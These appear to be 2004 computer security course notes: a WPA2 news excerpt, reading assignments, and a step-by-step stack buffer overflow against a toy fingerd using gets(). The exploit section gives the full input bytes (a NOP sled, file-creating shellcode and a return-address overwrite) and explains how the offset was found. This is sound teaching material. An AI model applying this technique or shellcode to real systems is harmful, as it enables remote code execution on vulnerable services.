Graeme Wearden, CNET News.com, 2004.09.01: “Wi-Fi group backs brawnier security standard

“The first products certified to support Wi-Fi Protected Access 2, the latest wireless security technology, were announced by the Wi-Fi Alliance on Wednesday.

“The Wi-Fi Alliance says WPA2 is a big improvement on earlier wireless security standards, such as Wired Equivalent Privacy (WEP), which hackers have found easy to circumvent. It includes Advanced Encryption Standard, which supports 128-bit, 192-bit and 256-bit keys.”
Assignment due 2004.08.25: read foreword and preface of textbook.

Assignment due 2004.08.27: read textbook Chapter 1 pages 1–14, up to “The Trinity of Trouble.”

Assignment due 2004.08.30: read the rest of Chapter 1.


Assignment due 2004.09.08: read textbook Chapter 7 pages 277–308.
fingerd in more detail:

```c
int main(int argc, char **argv)
{
    char line[512];
    char *x[3];
    line[0] = 0;
    gets(line);
    x[0] = "/usr/bin/finger";
    x[1] = line;
    x[2] = 0;
    switch (fork()) {
        case 0: execv(x[0], x);
        case -1: return 111;
    }
    wait(0);
    return 0;
}
```
When main begins, it allocates 512 bytes for line on the stack.

Stack contents: line[0], line[1], ..., line[511], a few unused bytes, return address, argc, argv.

gets writes to line[0], line[1], etc. If it continues much past line[511], it overwrites main’s return address!

An attacker anywhere on the network can connect to this program and feed it more than 512 bytes before ‘\n’.
Compile on Pentium M, FreeBSD 4.10, gcc 2.95.4 with -fomit-frame-pointer.

Run with these 529 input bytes:

```
90 90 90 90 90 90 90 90
... (440 bytes omitted)
90 90 eb 19 5e 31 c0 50
b0 01 c1 e0 09 50 56 31
c0 b0 05 50 cd 80 31 c0
50 40 50 cd 80 e8 e2 ff
ff ff 45 58 50 4c 4f 49
54 45 44 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 68 f6 bf bf 0a
```

Program creates file called EXPLOITED.
First part of input is **payload**:

```
90 90 90 90 90 90 90 90  
... (440 bytes omitted)  
90 90 eb 19 5e 31 c0 50  
b0 01 c1 e0 09 50 56 31  
c0 b0 05 50 cd 80 31 c0  
50 40 50 cd 80 e8 e2 ff  
ff ff 45 58 50 4c 4f 49  
54 45 44 00
```

These are instructions to create file.

Second part of input is **smasher**:

```
68 f6 bf bf
```

Smasher uses the `gets` **overflow**

to have program jump to payload.

Input is terminated by 0a, i.e., `\n`. 
Program jumps to \(0xbfbff668\), which is \(line\), the payload address.
Building the smasher

Looked at compiled program.
Saw that line was at 0xbfbff668 and main return address was at line+524.
So put smasher at input position 524, with bytes 68 f6 bf bf.

Same smasher works if line is anywhere from 0xbfbff21c through 0xbfbff668, because payload byte 90 is a “no-op”: an instruction to do nothing. For other positions, change smasher.

Can use longer smasher, repeating 68 f6 bf bf several times, to handle return addresses at other positions near line+524.